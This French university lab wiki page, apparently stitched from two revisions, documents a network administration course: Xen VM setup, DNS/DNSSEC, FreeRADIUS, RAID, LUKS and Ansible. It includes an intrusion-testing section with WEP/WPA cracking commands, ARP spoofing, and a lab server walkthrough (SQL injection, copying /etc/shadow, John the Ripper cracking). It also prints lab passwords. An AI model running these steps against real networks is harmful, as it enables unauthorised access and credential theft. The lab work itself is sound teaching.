belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: "{ { item } }"<br />
dest: "/etc/consul/{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- config.json<br />
- web.json<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
register: systemd<br />
<br />
- name: Deamon reload<br />
systemd:<br />
daemon_reload: true<br />
when: systemd.changed<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
Le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap_expect": 2,<br />
"retry_join": ["172.26.145.101"],<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Et le fichier <code>roles/consul/files/web.json</code> contient : <br />
<br />
{<br />
"service": {<br />
"name": "web-bellerose",<br />
"tags": ["boris","louis","web"],<br />
"port": 80<br />
},<br />
<br />
"check": {<br />
"id": "webport",<br />
"name": "Simple HTTP GET",<br />
"method": "GET",<br />
"http": "http://172.26.145.106",<br />
"interval": "10s",<br />
"timeout": "1s"<br />
}<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=58012TP sysres IMA5 2021/2022 G62022-01-12T12:46:32Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
